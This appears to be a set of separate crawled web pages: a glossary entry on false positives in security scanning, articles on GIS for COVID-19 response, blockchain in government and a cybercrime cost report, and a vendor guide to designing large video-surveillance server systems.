A false positive within cyber security refers to an alert or vulnerability that has been incorrectly flagged, usually caused by unpredictable behaviour which is triggered by a test case. The inaccuracies within the response can cause the scanning tools to highlight a flaw where none are present. An example of this would be a web server taking 20 milliseconds longer to respond, and the scanner believing a time-based SQL injection test was successfully executed.
What is a false negative in security?
A false negative is the opposite of a false positive in which a flaw may be overlooked or flagged as secure when in fact there is an underlying vulnerability present. False negatives are far more serious than false positives as they could leave a security flaw undetected. However, due to the paranoid nature of most scanning and pen-testing methodologies, they are also far less likely.]
How do you handle false positives?
False positives may utilise precious resources trying to remediate a vulnerability that didn't exist, to begin with. This is where the consultant comes in, by analysing the output of tools and scans, a consultant can apply their knowledge and experience and identify potential false positives based on the initial details, they can then investigate these further and remove them the report once satisfied they do not present a risk.
If you like this blog post, find more content in our Glossary. | <urn:uuid:47b04a80-1f93-417c-9d4a-9a5ac64603b4> | CC-MAIN-2022-40 | https://www.covertswarm.com/post/false-positive-in-cyber-security | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335424.32/warc/CC-MAIN-20220930020521-20220930050521-00537.warc.gz | en | 0.944885 | 285 | 3.46875 | 3 |
Saturday, October 1, 2022
Published 2 Years Ago on Wednesday, Oct 28 2020 By Mounir Jamil
With technology leaping to the forefront of the battle against the pandemic, Inside Telecom examines GIS technology, one of the most recent developments to help mitigate the spread of the virus.
Geographic information systems, or more commonly known as GIS technology, combines location with real time or static data. In turn, the technology analyzes, manages, collects and shares data to achieve what is known as location intelligence.
Deeply rooted in the science of geography, GIS technology incorporates several types of data. It has the ability to utilize large data sets from various sources and represent them meaningfully in real time dashboards, analytical tools, and application.
Visualizations can be produced immediately, which shed light and give insights into critical cases. Geographic information systems can be used for several problems and has the potential to better handle complex situations with a purpose of enabling smarter decision making.
Public Health Agencies and governments have started to use GIS technology in addressing COVID-19 issues. On a global level, geographic information system technology is being used to show the spread of the virus over time and across the world. It is also being applied in contact tracking and tracing.
GIS technology can also forecast health needs and spikes, and can support the delivery of vital PPE and can facilitate the delivery of medicine to the elderly population. In addition, mapping data is being implemented to provide local authorities with key information. It can tailor data and general reports regarding local demographic, health, and economic health statistics.
Government use of geographic information system technology has additional communication purposes. By sharing a situation assessment through maps, apps and dashboards the public can aid in locating more cases. Local governments are also producing story maps that keep citizens up to date with all that’s going on around them.
GIS technology is also used to communicate emergency information about public notices, school closures, and other pandemic related measures.
It is a great point of frustration for many of today’s youth that while the rest of the world’s industries and sectors are digitized and evolving with time, the education system feels stuck in the 1920s – at least outside of developed countries. Many parents and children alike are yearning for a more futuristic education […]
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© Copyright 2022, All Rights Reserved | <urn:uuid:62e6f6ee-f38c-43e0-9c1a-7d9903ec39e9> | CC-MAIN-2022-40 | https://insidetelecom.com/geographic-information-systems-advancing-technology-for-covid-19-response/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335609.53/warc/CC-MAIN-20221001101652-20221001131652-00537.warc.gz | en | 0.942403 | 521 | 2.953125 | 3 |
Saturday, October 1, 2022
Published 1 Month Ago on Wednesday, Aug 31 2022 By Daryn Kara Ali
In just a few years, blockchain, the technology that powers cryptocurrencies such as Bitcoin and Ethereum, has gone from irrelevancy to becoming a hot subject. Several national leaders have joined the blockchain ecosystem as they recognize its multifaceted applications. Agencies are starting to trial and test blockchain applications for payments, supply chains, identity management, secure data sharing, and more, fueling the technology’s hysterical hype. Governments are magnifying the role of blockchain in politics by starting to experience with advantages what the technology may offer to clients in the government sector.
A blockchain-based digital government can increase confidence and accountability while securing data, automating procedures, and reducing fraud, waste, and abuse. Individuals, companies, and governments share resources on a distributed ledger encrypted using cryptography in a blockchain-based government model. This design removes a single point of failure and automatically safeguards private information belonging to both citizens and the government.
A wide range of governmental and public sector applications, such as digital currency/payments, land registration, identity management, supply chain traceability, healthcare, corporate registration, taxation, voting (elections and proxy), and management of legal entities, can be supported by distributed ledger technology.
This public ledger plays a significant role in the fight against public corruption which could potentially fortify the role of blockchain in politics. Its system provides a unique blend of automated intelligent contract capacities and real-time transaction transparency. As a technology, blockchain cannot solemnly eliminate crimes from happening or hinder malicious actors. While blockchain can improve and supplement current legal systems and social structures, its effectiveness is only as good as the system it is a part of. Blockchain-based governance may not be more of a barrier to corruption than current laws and regulations in the absence of consistent law enforcement, reliable informational inputs, enough technological know-how, collaborating political elites, and societal goodwill.
Blockchain deployment by governments has had varying results. However, identifying the correct use cases can assist public sector organizations in maximizing the capabilities of the technology. The results of using blockchain in politics for regular operations have been inconsistent. Often, enterprises and public establishments resort to blockchain because they have run out of alternative technology options or because the hype has seduced them. Although compared to other established technologies, blockchain can significantly increase security. Its success depends on applying it to a particular issue and choosing the proper use cases.
Blockchain technology requires a framework for technology design and deployment that starts by considering areas where societal trust has to be improved in order to realize its promise in the public-sector digital revolution fully. Officials are faced with the option of thinking about what data must be recorded and stored in the blockchain. in addition to what data should not be recorded and stored there) to support the trust’s goal before thinking about the blockchain’s protocols, architectures, and other technical factors that provide the necessary capabilities.
Inside Telecom provides you with an extensive list of content covering all aspects of the tech industry. Keep an eye on our Blockchain section to stay informed and up-to-date with our daily articles.
Artificial intelligence (AI) systems are already seeing huge adoption by businesses big and small. Its ability to enhance marketing tactics, customer service, business strategy, market analytics, preventive maintenance, autonomous vehicles, video surveillance, medical, and much more. Making AI technology invaluable across all sectors. Here are the fastest advancing AI trends to watch for in 2022. Small […]
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© Copyright 2022, All Rights Reserved | <urn:uuid:d8b764cf-35f1-478d-baaf-b16046ce7dc5> | CC-MAIN-2022-40 | https://insidetelecom.com/what-is-the-role-of-blockchain-in-politics/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335609.53/warc/CC-MAIN-20221001101652-20221001131652-00537.warc.gz | en | 0.929902 | 759 | 2.734375 | 3 |
A shocking report on cybercrime has revealed the cost ($388bn) to be greater than the combined effect on the global economy of trafficking in marijuana, heroin and cocaine ($288bn).
The Norton Cybercrime Report surveyed 20,000 people in 24 countries and discovered that the total financial costs of cyberattacks across the world came in at $114bn – with a whopping $274bn used in the aftermath for clearing up the mess from cybercrime. As a result, computer forensics is becoming more and more important in the modern world.
The report claims that every second, 14 adults become the victim of some sort of cybercrime. This adds up to over a million victims every day. Young men that go online via their mobiles are the most likely victims. 74% of people are aware of cybercrime. But more worryingly, 41% of them do not keep their security software up-to-date and 61% don’t do the highly recommended practice of regularly changing passwords.
Unsurprisingly the main cybercrime issues in the report are malware and viruses, which 54% of people have experienced. 11% were various online scams and 10% was phishing that had caught them out. People are also continuing to be a bit slack with security on mobile phones (which is a threat that is surely going to increase in the future?), as according to the study, 10% have been unfortunate enough to have had a cyber attack of some sort on their mobile device.
This report makes interesting reading and goes further to demonstrate the dangers of surfing the internet without following basic safety advice;
- Have up-to-date anti-virus software installed on any computer or mobile that you use for internet browsing.
- Do not click on links in emails or posted on social media unless absolutely certain that they are going to a safe website.
- Change your passwords regularly and use a mixture of letters, numbers, and special characters.
However, it is safe to say that victims of cybercrime certainly won’t become addicted! | <urn:uuid:02cbc9af-c5f6-480a-bdf6-e01902553935> | CC-MAIN-2022-40 | https://www.intaforensics.com/2011/09/20/cybercrime-is-the-new-drug-for-criminals/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337339.70/warc/CC-MAIN-20221002181356-20221002211356-00537.warc.gz | en | 0.965739 | 413 | 2.703125 | 3 |
How do I design and implement a large system?
Large systems are comprised of
- >= 20 servers and/or
- >= 50 TB footage storage per server and/or
- >= 500 Mbit/s Rx+Tx network interface streaming load.
Important aspects we must consider are performance, reliability, and configuration optimization of these VMS-based system
The picture above represents a logical diagram of the System. The surveillance system contains cameras, servers, operator terminals (using VMS clients), and a network that mediates the interaction between all of them.
The most important function of the System is to acquire video streams, store them, and provide access to the recorded footage by request.
Discovery is the process of establishing communication with cameras and other devices that are new to the system. It reduces the necessity to add a new device to the existing system and undergo the configuration process. Discovery is a continuous process, devices already discovered by the Server have their online status refreshed then filtered out from the result.
Camera drivers are developed in order to maximize the amount of utilized features from a wide range of camera models. Each driver's purpose is to use the maximum of camera’s features, set it up, allow PTZ usage, etc.
HTTP/RTSP front-end allows the VMS server to interact with clients and other VMS servers and also broadcast video (either live or recorded footage).
The Server application is a cross-platform application that works inside the operating system’s environment. In this article we must also consider the impact of OS components on performance and reliability.
What are some potential performance bottlenecks?
Server-server network connection
Each server in the system can be used to re-configure the entire system (such as adding users, changing recording schedules, and so on), so servers must communicate within the system.
Servers also communicate in order to monitor each other. If one server failed or shut down intentionally, the other servers must catch up its cameras and continue recording.
Having a connection between servers is necessary to provide availability in complex network environments. If one server cannot establish a direct peer-to-peer connection, it may use other servers as a proxy.
Client-server network connection
The client connects to the Server application in order to manage the System and watch footage or live video. The Desktop client subscribes to the stream as it is stored on the server’s drive whereas both Web client and Mobile client require transcoding on the Server’s side.
Server-cameras network connection
Generally speaking, there are two data streams between the server and the camera: management and video stream. The management stream is used for configuring the stream and camera, while the video stream contains the picture itself. Both data streams are used to determine the availability of the camera. The video stream is very susceptible to network losses and jitter. A subpar network leads to worse footage quality and fullness and excessive error messages.
Block devices are used to store the footage and footage index along with persistent data storage (internal database). The load on the storage increases when
- a user requests to re-index the archive;
- the daily index rebuild happens; or
- the VMS client requests high-resolution footage recording for layout with many cameras.
It is unusual for the VMS to require extensive CPU usage, but some clients require the VMS server to prepare a stream for them. Transcoding is enabled for the stream that is either requested by the VMS Web client, Mobile client, or via the VMS server API. A good rule of thumb is that two 1080p streams at 30 fps will load one CPU kernel.
Failover is a feature that allows healthy servers to take over cameras that used to belong to a server that failed.
It is necessary to have direct IP network connectivity between cameras of a failed server and at least one healthy server, otherwise failover is not viable. In complex network environments it is necessary to set up a process of verifying the network reliability, that proves that in case of server failure network links towards other servers will withstand excessive streaming load. The excessive load is created by the redistribution of streams that previously had been transmitted to the failed server.
Server capacity considerations
Not only network, but healthy servers are also stressed if one of the servers in a System has failed. This involves a higher load on storage and CPU due to the redistribution of client connections. Depending on planned fault tolerance level it is recommended to leave a capacity reserve on hardware resources of every server in a system.
Important things to remember
Large systems usually require more scrupulous capacity planning and system robustness verification. For the sake of this following points must be considered.
- Use robust network connections, especially between servers. The VMS still can work in case of connectivity failure, but that failure never can be considered as a normally functioning environment.
- Throughput of connections between all servers must slightly exceed the total bitrate of all the cameras of the most loaded server. This measure guarantees system can successfully bear failure of every single server.
- Pay special attention to completely avoid losses and jitter in the network between cameras and servers. Such losses influence the quality of footage drastically as in most cases lost streaming data can not be recovered.
- If the customer uses mobile client or Video API calls, consider using better performing CPUs.
- Use monitoring for continuous evaluation of the network environment, hardware status, current load (CPU, storage and RAM) and application status.
- Have a failure recovery plans that contain a model of threats and appropriate actions to mitigate each.
If you have any questions related to this topic or you want to share your experience with other community members or our team, please visit and engage in our support community or reach out to your local reseller. | <urn:uuid:1ef29173-1bd7-48d4-8984-d7a501594d95> | CC-MAIN-2022-40 | https://support.networkoptix.com/hc/en-us/articles/360035832774-Large-Systems-Deployment | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335444.58/warc/CC-MAIN-20220930051717-20220930081717-00737.warc.gz | en | 0.918077 | 1,204 | 2.59375 | 3 |
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